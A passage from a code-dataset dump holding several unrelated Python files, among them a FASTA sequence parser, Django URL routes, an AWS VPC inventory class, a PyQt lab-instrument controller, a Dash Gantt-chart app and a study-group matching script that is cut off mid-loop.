1])))\nprint(solution.sumRootToLeaf(createBinaryTreeFromArray([1, None, 0])))\n","sub_path":"topics/Tree/Sum_of_Root_To_Leaf_Binary_Numbers_1022/[Iterative_DFS_stack_with_tuple]_Sum_of_Root_To_Leaf_Binary_Numbers_1022.py","file_name":"[Iterative_DFS_stack_with_tuple]_Sum_of_Root_To_Leaf_Binary_Numbers_1022.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"79704635","text":"# Robert Bennett - rbennet8@uncc.edu - 2/12/2020\n\n# Sequence - Should hold sequence of each object and a method to print them\n# DNASequence - Holds methods to transcribe (moved from the Sequence class) and translate\n # Can only contain the characters A, T, C, and G\n# ProteinSequence - Holds method to display structure\n # Can only contain the characters M, F, L, C, Y, W, P, H, Q, R, I, T, N, K, S, V, A, D, E, G, AND *\n\n\n#ENTER PATHS TO FASTA SEQUENCES AT THE LINES CONTAINING ################################################################\n\n\n\n# Parent class to DNA and Protein sequences\nclass Sequence:\n def __init__(self, seq):\n self.seq = seq\n\n def __repr__(self):\n return self.seq\n\n\n\n# Child class of Sequence and stores the nucleotide sequence\n# Also has methods to transcribe and translate the sequence to a protein\nclass DNASequence(Sequence):\n def __init__(self, seq):\n # If secondary sequence check passes, then the constructor calls the super class to create the object\n if self.seqCheck(seq):\n super().__init__(seq)\n # Else, a boolean is returned, which prevents the program from continuing\n else:\n return False\n\n # Second check to make sure whatever is being passed is a DNA sequence, in case it isn't submitted via parse method\n def seqCheck(self, seq):\n # Checks all characters in seq to make sure they match all characters in ATCG and returns boolean\n bool = all(x in seq for x in \"ATCG\")\n return bool\n\n # Method that replaces every T in the string with a U and returns string\n # Method from previous lab\n def transcribe(self):\n mrna = self.seq.replace('T', 'U')\n return mrna\n\n # Method that takes transcribed sequence and translates it, then saves the sequence as a protein object\n def translate(self):\n aa_dict = {'M': ['ATG'],\n 'F': ['TTT', 'TTC'],\n 'L': ['TTA', 'TTG', 'CTT', 'CTC', 'CTA', 'CTG'],\n 'C': ['TGT', 'TGC'],\n 'Y': ['TAC', 'TAT'],\n 'W': ['TGG'],\n 'P': ['CCT', 'CCC', 'CCA', 'CCG'],\n 'H': ['CAT', 'CAC'],\n 'Q': ['CAA', 'CAG'],\n 'R': ['CGT', 'CGC', 'CGA', 'CGG', 'AGA', 'AGG'],\n 'I': ['ATT', 'ATC', 'ATA'],\n 'T': ['ACT', 'ACC', 'ACA', 'ACG'],\n 'N': ['AAT', 'AAC'],\n 'K': ['AAA', 'AAG'],\n 'S': ['AGT', 'AGC', 'TCT', 'TCC', 'TCA', 'TCG'],\n 'V': ['GTT', 'GTC', 'GTA', 'GTG'],\n 'A': ['GCT', 'GCC', 'GCA', 'GCG'],\n 'D': ['GAT', 'GAC'],\n 'E': ['GAA', 'GAG'],\n 'G': ['GGT', 'GGC', 'GGA', 'GGG'],\n '*': ['TAA', 'TAG', 'TGA']}\n\n # Declaring variables used for while loop, triplet selection, and protein sequence\n x = 0\n y = 3\n protein = \"\"\n # While the last triplet position is less than the length of the sequence, continue; prevents while loop from searching\n # for bases in an out of bounds index\n while y < len(self.seq):\n # Setting the triplet at the beginning of each loop\n triplet = self.seq[x:y]\n # For the key and value in amino acid disctionary, if triplet matches the value, append key to protein sequence\n for key, val in aa_dict.items():\n if triplet in val:\n protein += key\n # Incrementing for triplets\n x += 3\n y += 3\n # Returns protein object\n return ProteinSequence(protein)\n\n\n\n# Child class of Sequence and stores the protein translation of the sequence\nclass ProteinSequence(Sequence):\n def __init__(self, seq):\n # If secondary sequence check passes, then the constructor calls the super class to create the object\n if self.seqCheck(seq) == True:\n super().__init__(seq)\n # Else, a boolean is returned, which prevents the program from continuing\n else:\n return False\n\n # Second check to make sure whatever is being passed is a DNA sequence, in case it isn't submitted via parse method\n def seqCheck(self, seq):\n # Checks all characters in seq to make sure they match all characters in MFLCYWPHQRITNKSVADEG* and returns boolean\n bool = all(x in seq for x in \"MFLCYWPHQRITNKSVADEG\")\n return bool\n\n # This method would search protein databases for similar sequences and return the structure of the closest match\n def displayStructure(self):\n pass\n\n\n# Takes in a \"label\", which is the name of the sequence, and a sequence object, where the sequence is stored.\nclass SequenceRecord:\n def __init__(self, label, seqObj):\n # Checking to make sure a Sequence object is being passed, by making sure it is an instance of the parent class Sequence,\n # then storing the value\n if isinstance(seqObj, Sequence):\n self.seqObj = seqObj\n self.label = label\n else:\n return False\n\n # Method to return an output for the class\n def __repr__(self):\n return self.label + \"\\n\" + self.seqObj.seq\n\n\n\n# Function that takes in a FASTA file and separates information into separate variables\ndef parse(path):\n label = None\n seq = \"\"\n file = open(path)\n # For loop that increments through each line of the FASTA file\n for line in file:\n # Handles line that begins with >\n if line.startswith(\">\"):\n if label:\n # Checking sequence and handling it accordingly; if 1, create DNA object; if 2, create Protein object\n if checkSeq(seq) == 1:\n seqRecord = SequenceRecord(label, DNASequence(seq))\n yield seqRecord\n elif checkSeq(seq) == 2:\n seqRecord = SequenceRecord(label, ProteinSequence(seq))\n yield seqRecord\n label = None\n seq = \"\"\n label = line.rstrip().lstrip(\">\")\n # If no > then concats line to sequence\n else:\n seq += line.rstrip()\n # Checking sequence and handling it accordingly; if 1, create DNA object; if 2, create Protein object\n if checkSeq(seq) == 1:\n seqRecord = SequenceRecord(label, DNASequence(seq))\n yield (seqRecord)\n elif checkSeq(seq) == 2:\n seqRecord = SequenceRecord(label, ProteinSequence(seq))\n yield seqRecord\n\n# Checks sequence to see if it's protein or DNA, then returns an int or boolean\ndef checkSeq(sequence):\n # if sequence is DNA, return 1\n if all(x in sequence for x in \"ATCG\"):\n return 1\n # If sequence is Protein, return 2\n elif all(x in sequence for x in \"MFLCYWPHQRITNKSVADEG\"):\n return 2\n # If sequence is neither, return boolean and break program to prevent it from conitnuing\n else:\n return False\n\n# Takes in path for FASTA file and passes it to parse method\npath = r'DNA FASTA PATH' ###############################################################################################\ntert = []\nfor seq in parse(path):\n tert.append(seq)\n# Prints out information before and after calling transcription method\nprint(\"Printing name and sequence of DNA FASTA:\\n\", tert[0], \"\\n\")\n\n# Calling transcribe method and printing the result\nrna = tert[0].seqObj.transcribe()\nprint(\"Printing mRNA sequence:\\n\", rna, \"\\n\")\n\n# Prints just the sequence of the obj in the sequence record\nprint(\"Printing just the sequence from the Parent Sequence class:\\n\", tert[0].seqObj, \"\\n\")\n\n# Creating protein variable to hold the object being returned from translate method in DNASequence class and printing it\nprotein = tert[0].seqObj.translate()\nprint(\"Printing the translation of DNA sequence:\\n\", protein, \"\\n\")\n\n# Taking in another path, this time to a protein FASTA, and outputting the information; making sure the program can handle\n# both types of FASTA files\npath2 = r'PROTEIN FASTA PATH' ##########################################################################################\ntertP = []\nfor seq in parse(path2):\n tertP.append(seq)\nprint(\"Printing name and sequence of Protein FASTA:\\n\", tertP[0])","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":8273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"442294225","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path(\"installer//sites/\", views.installer_list_sites),\n path(\"listclients/\", views.list_clients),\n path(\"installer/listclients/\", views.installer_list_clients),\n path(\"addclient/\", views.add_client),\n path(\"addsite/\", views.add_site),\n path(\"loadtree/\", views.load_tree),\n path(\"loadclients/\", views.load_clients),\n path(\"initialsetup/\", views.initial_setup),\n]\n","sub_path":"api/tacticalrmm/clients/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"353135330","text":"# -*- coding:utf-8 -*-\n\nimport boto\nimport boto.ec2\nimport boto.vpc\nimport argparse\n\nfrom models import *\n\nclass CloudFormer:\n def __init__(self, access_key, secret_key, vpc_id, region_name='us-east-1'):\n self.access_key = access_key if access_key is not None else ''\n self.secret_key = secret_key if secret_key is not None else ''\n self.region = boto.ec2.get_region(\n region_name,\n aws_access_key_id=self.access_key,\n aws_secret_access_key=self.secret_key\n )\n self.vpc_id = vpc_id\n self.vpc_filter = ('vpc-id', vpc_id)\n self.vpc_attachment_filter = ('attachment.vpc-id', vpc_id)\n\n def form(self):\n self.vpcconn = boto.connect_vpc(\n region=self.region,\n aws_access_key_id=self.access_key,\n aws_secret_access_key=self.secret_key\n )\n context = {}\n self._form_vpc(context)\n self._form_internet_gateway(context)\n self._form_gateway_attachments(context)\n self._form_subnets(context)\n self._form_route_tables(context)\n self._form_instances(context)\n self._form_route(context)\n self._form_subnet_route_table_association(context)\n return context\n\n def _form_vpc(self, context):\n vpcs = self.vpcconn.get_all_vpcs(filters=[self.vpc_filter])\n context['vpc'] = CfnVpc(vpcs[0])\n\n def _form_internet_gateway(self, context):\n context['internet_gateways'] = [CfnInternetGateWay(igw) for igw\n in self.vpcconn.get_all_internet_gateways(\n filters=[self.vpc_attachment_filter]\n )]\n\n def _form_gateway_attachments(self, context):\n internet_gateways = context['internet_gateways']\n attachments = []\n for internet_gateway in internet_gateways:\n attachments.extend([CfnVpcGatewayAttachment(att, internet_gateway) for att in internet_gateway.attachments])\n context['gateway_attachments'] = attachments\n\n def _form_subnets(self, context):\n context['subnets'] = [CfnSubnet(s) for s\n in self.vpcconn.get_all_subnets(\n filters=[self.vpc_filter]\n )]\n\n def _form_route_tables(self, context):\n context['route_tables'] = [CfnRouteTable(rtb) for rtb\n in self.vpcconn.get_all_route_tables(\n filters=[self.vpc_filter]\n )]\n\n def _form_instances(self, context):\n instances = []\n for reservation in self.vpcconn.get_all_instances(filters={'vpc-id': self.vpc_id}):\n for instance in reservation.instances:\n instances.append(CfnEC2Instance(instance))\n context['instances'] = instances\n\n def _form_route(self, context):\n route_tables = context['route_tables']\n routes = []\n for route_table in route_tables:\n routes.extend([CfnRoute(route, route_table) for route in route_table.routes])\n context['routes'] = routes\n\n def _form_subnet_route_table_association(self, context):\n route_tables = context['route_tables']\n associations = []\n for route_table in route_tables:\n associations.extend([CfnSubnetRouteTableAssociation(assoc) for assoc in route_table.associations])\n context['subnet_route_table_associations'] = associations\n\n","sub_path":"lib/floccus/former.py","file_name":"former.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"91046151","text":"import os\nfrom datetime import datetime\nfrom PyQt5 import QtCore\nfrom Driver.STM_Interface import STM_Interface\nfrom Driver.IO_Plots import IO_Plots\nfrom Driver.FSM import State, Transition, FSM\nfrom Driver.Actions import List_Actions, Action, No_Action\nfrom Driver.Conditions import Condition, Condition_Empty, Cond_SA_Ready, Cond_SA_Operation, Cond_UniqueTransition\n\nclass ListControllers(object):\n\tdef __init__(self):\n\t\tself.Controllers = {}\n\n\tdef addController(self, controller):\n\t\tself.Controllers[controller.name] = controller\n\n\tdef isBusy(self):\n\t\tfor i in self.Controllers.keys():\n\t\t\tif self.Controllers[i].ControllerBusy == True:\n\t\t\t\treturn True\n\t\treturn False\n\t\t\n\tdef FinishAllActions(self):\n\t\t# To be done\n\t\tpass\n\nclass Controller(object):\n\tdef __init__(self, name, Interface, Timeout=10):\n\n\t\t#########################################\n\t\t# EACH CONTROLLER INCLUDES AT LEAST:\t#\n\t\t# - A list of actions\t\t\t#\n\t\t# - An FSM with:\t\t\t#\n\t\t# \t-> States [Action + Condition]\t#\n\t\t#\t-> Transition [Action]\t\t#\n\t\t# - A timer that ticks the FSM\t\t#\n\t\t# - A pointer to the STM Interface\t#\n\t\t#########################################\n\t\tself.name = name\n\t\tself.FSM = FSM(self)\n\t\tself.Plots = IO_Plots()\n\t\tself.Timer = QtCore.QTimer()\n\t\tself.Timer.timeout.connect(self.FSM.Execute)\n\t\tself.Timeout = Timeout\n\t\tself.Interface = Interface\t\n\n\t\t#########################\n\t\t# Actions Definitions\t#\n\t\t#########################\n\t\tself.Actions = List_Actions(self)\n\t\tself.Actions.Create_Action(\"STM\", \"Frame\", \"RequestFrame\", 6)\n\t\tself.Actions.Create_Action(\"STM\", \"Frame\", \"CharactCurves\", 7)\n\t\tself.Actions.Create_Action(\"STM\", \"Frame\", \"CalibArray\", 8)\n\t\tself.Actions.Create_Action(\"STM\", \"Frame\", \"LAMP\", 10)\n\t\tself.Actions.Create_Action(\"STM\", \"RefTemp\", \"PCR\", 11)\n\t\tself.Actions.Create_Action(\"STM\", \"RefTemp\", \"TempControl\", 12, 95.0)\n\t\tself.Actions.Create_Action(\"STM\", \"Frame\", \"TempCharact\", 13)\n\t\tself.Actions.Create_Action(\"STM\", \"RefTemp\", \"TempRefMeas\", 14)\n\t\tself.Actions.Create_Action(\"STM\", \"Pixel\", \"TempNoise\", 15)\n\t\tself.Actions.Create_Action(\"STM\", \"RefTemp\", \"TempCoilCharact\", 16)\n\t\tself.Actions.Create_Action(\"STM\", \"RefTemp\", \"TempCoilDynamics\", 17)\n\t\tself.Actions.Create_Action(\"STM\", \"Frame\", \"WaveGen\", 18)\n\t\tself.Actions.Create_Action(\"STM\", \"Pixel\", \"ChemNoise\", 19)\n\t\tself.Actions.Create_Action(\"STM\", \"Frame\", \"MultipleFrames\", 20, 10.0)\n\t\tself.Actions.Create_Action(\"STM\", \"Frame\", \"SampleFor10Minutes\", 21, 10.0)\n\t\tself.Actions.Create_Action(\"STM\", \"Frame\", \"DACSensitivityTest\", 22)\n\t\tself.No_Action = No_Action()\n\n\t\tself.ControllerBusy = False\n\t\tself.InterruptEnable = False\n\t\tself.InterruptAction = None\n\t\tself.InterruptReady = False\n\n\tdef LaunchController(self, cargo, Plot_3D, Plot_2D, Text = None):\n\t\tself.ControllerBusy = True\n\t\tself.Timer.start(self.Timeout)\n\t\tself.DefinePlots(Plot_3D, Plot_2D)\n\t\tif Text != None:\n\t\t\tself.DefineTextBox(Text)\n\n\tdef StopController(self):\n\t\tself.Timer.stop()\n\t\tself.ControllerBusy = False\n\n\tdef DefinePlots(self, Plot_3D, Plot_2D):\n\t\tself.Plots.SetupPlots(Plot_3D, Plot_2D)\n\n\tdef DefineTextBox(self, Text):\n\t\tself.Plots.SetupText(Text)\n\n\tdef EnableInterrupt(self, Action):\n\t\tself.InterruptEnable = True\n\n\tdef DisableInterrupt(self):\n\t\tself.InterruptEnable = False\n\n\tdef DataTransferBetweenStates(self, StateName_Sender, StateName_Receiver):\n\t\tself.FSM.states[StateName_Receiver].Action.action_data = self.FSM.states[StateName_Sender].Action.action_data\t\n\nclass debug_Controller(Controller):\n\tdef __init__(self, name, Interface, Timeout=10):\n\n\t\tself.SavePath = \"Results/Debug\"\n\t\tif not os.path.exists(self.SavePath):\n\t\t\tos.makedirs(self.SavePath)\n\t\tsuper(debug_Controller, self).__init__(name,Interface,Timeout)\n\n\t\tself.FSM.AddState(\"Ready\",self.No_Action, Cond_SA_Ready())\n\t\tself.FSM.AddState(\"Single_RequestFrame\",self.Actions.Assing(\"RequestFrame\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_CharactCurves\",self.Actions.Assing(\"CharactCurves\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_CalibArray\", self.Actions.Assing(\"CalibArray\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_LAMP\", self.Actions.Assing(\"LAMP\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_PCR\", self.Actions.Assing(\"PCR\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_TempControl\", self.Actions.Assing(\"TempControl\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_TempCharact\", self.Actions.Assing(\"TempCharact\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_ObtainRefTemp\", self.Actions.Assing(\"TempRefMeas\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_TempNoise\", self.Actions.Assing(\"TempNoise\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_TempCoilCharact\", self.Actions.Assing(\"TempCoilCharact\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_TempCoilDynamics\", self.Actions.Assing(\"TempCoilDynamics\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_WaveGen\", self.Actions.Assing(\"WaveGen\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_ChemNoise\", self.Actions.Assing(\"ChemNoise\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_MultipleFrames\", self.Actions.Assing(\"MultipleFrames\"), Cond_SA_Operation())\n\t\tself.FSM.AddState(\"Single_SampleFor10Minutes\", self.Actions.Assing(\"SampleFor10Minutes\"), Cond_SA_Operation())\t\t\n\t\tself.FSM.AddState(\"Done\", self.No_Action, Condition_Empty())\n\t\tself.FSM.SetState(\"Done\")\n\t\t\n\t\tself.FSM.AddTransition(\"toRequestFrame\",Transition(\"Single_RequestFrame\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toCharactCurves\",Transition(\"Single_CharactCurves\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toCalibArray\",Transition(\"Single_CalibArray\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toLAMP\",Transition(\"Single_LAMP\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toPCR\",Transition(\"Single_PCR\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toTempControl\",Transition(\"Single_TempControl\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toTempCharact\",Transition(\"Single_TempCharact\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toObtainRefTemp\",Transition(\"Single_ObtainRefTemp\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toTempNoise\",Transition(\"Single_TempNoise\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toTempCoilCharact\",Transition(\"Single_TempCoilCharact\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toTempCoilDynamics\",Transition(\"Single_TempCoilDynamics\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toWaveGen\",Transition(\"Single_WaveGen\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toChemNoise\",Transition(\"Single_ChemNoise\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toMultipleFrames\",Transition(\"Single_MultipleFrames\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toSampleFor10Minutes\",Transition(\"Single_SampleFor10Minutes\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toDone\",Transition(\"Done\",self.StopController))\t\t\n\n\tdef LaunchController(self, cargo, Plot_3D, Plot_2D, Text = None):\n\t\tself.StartTime = datetime.now()\n\t\tself.SavePath = \"Results/Debug/\" + self.StartTime.strftime(\"%Y-%d-%b_%H-%M-%S\")\n\t\tif not os.path.exists(self.SavePath):\n\t\t\tos.makedirs(self.SavePath)\n\n\t\tself.FSM.SetSavePath(self.SavePath)\n\t\tself.FSM.SetCargo(cargo)\n\t\tself.FSM.SetState(\"Ready\")\n\t\tsuper(debug_Controller, self).LaunchController(cargo, Plot_3D, Plot_2D, Text = None)\n\nclass DriftAnalysis_Controller(Controller):\n\tdef __init__(self, name, Interface, Timeout=10):\n\t\t\n\t\tself.SavePath = \"Results/Drift\"\n\t\tif not os.path.exists(self.SavePath):\n\t\t\tos.makedirs(self.SavePath)\n\t\tsuper(DriftAnalysis_Controller, self).__init__(name,Interface,Timeout)\n\n\t\t## STATES ##\n\t\tself.FSM.AddState(\"Ready\",self.No_Action, Cond_UniqueTransition(\"InitialCalibration\"))\n\t\tself.FSM.AddState(\"InitialCalibration\", self.Actions.Assing(\"CalibArray\"), Cond_UniqueTransition(\"DACSensitivity\"))\n\t\tself.FSM.AddState(\"DACSensitivity\", self.Actions.Assing(\"DACSensitivityTest\"), Cond_UniqueTransition(\"InitialDriftSampling\"))\n\t\tself.FSM.AddState(\"InitialDriftSampling\", self.Actions.Assing(\"SampleFor10Minutes\"), Cond_UniqueTransition(\"Done\"))\n\t\tself.FSM.AddState(\"Done\", self.No_Action, Condition_Empty())\n\t\tself.FSM.SetState(\"Done\")\n\n\t\t## TRANSITIONS ##\n\t\tself.FSM.AddTransition(\"toInitialCalibration\",Transition(\"InitialCalibration\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toDACSensitivity\",Transition(\"DACSensitivity\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toInitialDriftSampling\",Transition(\"InitialDriftSampling\",self.Plots.ClearAllPlots))\n\t\tself.FSM.AddTransition(\"toDone\",Transition(\"Done\",self.StopController))\t\t\n\n\tdef LaunchController(self, cargo, Plot_3D, Plot_2D, Text = None):\n\t\tself.StartTime = datetime.now()\n\t\tself.SavePath = \"Results/Drift/\" + self.StartTime.strftime(\"%Y-%d-%b_%H-%M-%S\")\n\t\tif not os.path.exists(self.SavePath):\n\t\t\tos.makedirs(self.SavePath)\n\n\t\tself.FSM.SetSavePath(self.SavePath)\n\t\tself.FSM.SetCargo(cargo)\n\t\tself.FSM.SetState(\"Ready\")\n\n\t\tsuper(DriftAnalysis_Controller, self).LaunchController(cargo, Plot_3D, Plot_2D, Text = None)\n","sub_path":"instantDNA_GUI-v1.0/Driver/Controller.py","file_name":"Controller.py","file_ext":"py","file_size_in_byte":9011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"97417289","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom flask import Flask, render_template\r\nfrom flask_httpauth import HTTPBasicAuth\r\nfrom flask_bootstrap import Bootstrap\r\n\r\nimport dash\r\nimport dash_auth\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\n\r\nimport datetime\r\nimport os\r\nimport modules.MakeGantt as mg\r\nimport plotly.figure_factory as ff\r\n\r\n# portはIBM Cloud環境から割り当てられたものを利用\r\nif os.getenv('VCAP_APP_PORT'):\r\n import metrics_tracker_client\r\n # Trackingするなら必要\r\n metrics_tracker_client.track()\r\n host = '0.0.0.0'\r\n port = port = os.getenv('VCAP_APP_PORT', '8000')\r\nelse:\r\n # ローカル用の設定\r\n host = '127.0.0.1'\r\n port = 5000\r\n\r\nserver = Flask(__name__)\r\nbootstrap = Bootstrap(server)\r\napp = dash.Dash(__name__, server=server)\r\n# external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\r\n# app = dash.Dash(__name__, external_stylesheets=external_stylesheets)\r\n\r\nVALID_USERNAME_PASSWORD_PAIRS = [\r\n ['*****', '*****']\r\n]\r\nusers = {\r\n \"*****\": \"*****\"\r\n}\r\n\r\nauth = dash_auth.BasicAuth(\r\n app,\r\n VALID_USERNAME_PASSWORD_PAIRS\r\n)\r\nauth_flask = HTTPBasicAuth()\r\n\r\n# グラフ作成のモジュール\r\ngantt = mg.Test()\r\n\r\n@auth_flask.get_password\r\ndef get_pw(username):\r\n if username in users:\r\n return users.get(username)\r\n return None\r\n\r\n# 直観的にわかりづらいので children は削除\r\ndef serve_layout():\r\n \r\n fig_task = gantt.task()\r\n fig_member = gantt.member()\r\n \r\n \r\n return html.Div([\r\n html.Div([\r\n html.H1('**********'),\r\n html.Div('** ここには各ページのリンクを張る予定 **'),\r\n html.A('Navigate to \"コンテンツTOPページ\"', href='./top'),\r\n html.Br(),\r\n html.Br(),\r\n html.Div('*********'),\r\n ]\r\n , style={'background-color': '#eeeeee'}\r\n ),\r\n html.Div([dcc.Graph(figure=fig_task, id='gantt_task')]\r\n ), \r\n \r\n html.Div(dcc.Graph(figure=fig_member, id='gantt_member')\r\n ),\r\n ])\r\n\r\napp.layout = serve_layout\r\n\r\n# 念のため用意\r\n@server.route('/')\r\ndef index():\r\n return \"Hello World\"\r\n\r\n@server.route('/top')\r\n@auth_flask.login_required\r\ndef indexTwo():\r\n return render_template('index.html')\r\n\r\n#@app.callback()\r\n@server.route('/test')\r\ndef test():\r\n\r\n return \"\"\r\n\r\nif __name__ == \"__main__\":\r\n server.run(host=host, port=int(port), debug=True, threaded=True)\r\n app.run_server(debug=True)\r\n ","sub_path":"guntchart_plotly-dash_ibm/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"380240607","text":"import pandas as pd\nimport openpyxl\nimport numpy as np\nfrom collections import defaultdict\n\ndef get_num_people(df_alone_type):\n num_ppl = []\n df_alone_type = df_alone_type.sort_values(['study_with','preference', 'code_1', 'prof_1'], ascending=True).reset_index()\n num_by_code_prof = df_alone_type.groupby([\"code_1\", \"prof_1\"]).size().reset_index(name='counts')\n sum = 0\n for index1, row in num_by_code_prof.iterrows():\n num_ppl.append(row['counts'])\n sum = sum + row['counts']\n return num_ppl\n\ndef allocate_groups_dict(df_alone, groups, cannot_grouped, num_ppl) :\n idx = 0\n for num in num_ppl :\n\n if num <= 2 :\n for i in range(0, num):\n value = df_alone.iloc[idx: idx + 1]\n cannot_grouped.add(value['sid'].values[0])\n idx += 1\n\n else:\n for i in range(0, num):\n value = df_alone.iloc[idx : idx + 1]\n lect = '{}_{}'.format(value['code_1'].values[0], value['prof_1'].values[0])\n\n if lect not in groups.keys():\n groups[lect] = set()\n groups[lect].add(value['sid'].values[0])\n\n idx += 1\n\ndef get_num_people_rest(df_alone_type):\n num_ppl = []\n df_alone_type = df_alone_type.sort_values(['code_1'], ascending=True).reset_index()\n num_by_code_prof = df_alone_type.groupby([\"code_1\"]).size().reset_index(name='counts')\n for index1, row in num_by_code_prof.iterrows():\n num_ppl.append(row['counts'])\n return num_ppl\n\ndef allocate_rest_to_other_groups_code(df_grouped_rest, offline_groups, online_groups, anything_groups, hope_col) :\n for index, row in df_grouped_rest.iterrows() :\n status = False\n searching_group = [offline_groups, online_groups, anything_groups]\n\n for i in range(3):\n if row['preference'] != 3 and i == row['preference'] - 1:\n continue\n for key in searching_group[i].keys():\n if key.rsplit('_', 1)[0] == row[hope_col] :\n searching_group[i][key].add(row['sid']) \n ungrouped[['offline', 'online', 'anything'][row['preference'] - 1]].discard(row['sid'])\n status = True\n break\n if status == True : \n status = False\n break\n\ndef automatch(df):\n df = pd.read_csv('Study_Match_Revised.csv', header = 0, index_col = False, names = ['timestamp', 'email', 'id', 'name', 'gender', 'phone', 'preference', 'study_with', 'code_1', 'name_1', 'prof_1', 'code_2', 'name_2', 'prof_2', 'code_3', 'name_3', 'prof_3', 'etc', 'etc_q1', 'etc_q2', 'etc_q3', 'etc_q4', 'agreement'])\n\n origin_col_name = df.columns\n changed_col_name = ['timestamp', 'email', 'sid', 'name', 'gender', 'phone', 'preference', 'study_with', 'code_1', 'name_1', 'prof_1', 'code_2', 'name_2', 'prof_2', 'code_3', 'name_3', 'prof_3', 'etc', 'etc_q1', 'etc_q2', 'etc_q3', 'etc_q4', 'agreement']\n\n df = df.set_axis(changed_col_name, axis = 1)\n df.insert(0, 'group', [0 for _ in range(len(df))], True)\n df['timestamp'] = pd.to_datetime(df['timestamp'])\n df.at[df['agreement'] == '아니오', 'group'] = -1\n df = df.drop(df[pd.isnull(df['timestamp'])].index)\n\n df = df[['group', 'sid', 'gender', 'name', 'email', 'phone', 'timestamp', 'preference', 'study_with', 'code_1', 'prof_1', 'code_2', 'prof_2', 'code_3', 'prof_3']]\n df['preference'] = df['preference'].replace({'대면 스터디로만 매칭' : 1, '비대면 스터디로만 매칭' : 2, '비대면/대면 병행 상관없음' : 3})\n\n df['prof_1'] = df['prof_1'].str.replace(\"교수님\", \"\").str.strip()\n df['prof_2'] = df['prof_2'].str.replace(\"교수님\", \"\").str.strip()\n df['prof_3'] = df['prof_3'].str.replace(\"교수님\", \"\").str.strip()\n\n # 과목코드 upper_case + space\n df['code_1'] = df['code_1'].str.upper().str.strip()\n df['code_2'] = df['code_2'].str.upper().str.strip()\n df['code_3'] = df['code_3'].str.upper().str.strip()\n\n group_num = 1\n\n # 1. 같이 하는 사람들끼리 먼저 그룹 만들기 (현재 2명만 받았음, 이름이라 애매) => 미완성\n groups_tmp = []\n friend_groups = []\n uncompleted_groups = []\n cannot_grouped_friends = []\n\n df_friends = df.loc[df['study_with'].notnull()] # + 개인정보 동의한 사람들만\n # df_friends['study_with'] = df_friends['study_with'].str.replace(\" *[0-9()]*$\", \"\", regex=True)\n\n private_groups = list()\n\n for ind, each in df_friends.iterrows():\n others = {(one[:one.index('(')], one[one.index('(') + 1:one.index(')')]) for one in each['study_with'].split(' ')}\n intersection_check = False\n for private_group in private_groups:\n if len(private_group.intersection(others)) > 0:\n intersection_check = True\n private_group.update(others)\n break\n \n if intersection_check == False:\n private_groups.append(others)\n\n\n for private_group in private_groups:\n ready_to_group = True\n\n # validation check: group members\n if not 3 <= len(private_group) <= 5:\n ready_to_group = False\n\n else:\n primary_subject = None\n for each in private_group:\n name_query = df[df['name'] == each[0]].index\n phone_query = df[df['phone'].str[-4:] == each[1][-4:]].index\n\n target = name_query.intersection(phone_query)\n\n # validation check: member validity\n if len(target) != 1:\n ready_to_group = False # invalid member\n break\n\n # validation check: members except her/himself\n others = {(other[ : other.index('(')], other[other.index('(') + 1 : other.index(')')]) for other in df.at[target[0], 'study_with'].split(' ')}\n if others != private_group.difference({each, }):\n ready_to_group = False # Unknown member exists\n break\n\n # validation check: primary subject\n if primary_subject is None:\n primary_subject = df.at[target[0], 'code_1']\n elif primary_subject != df.at[target[0], 'code_1']:\n ready_to_group = False\n break\n\n if ready_to_group == False:\n for each in private_group:\n name_query = df[df['name'] == each[0]].index\n phone_query = 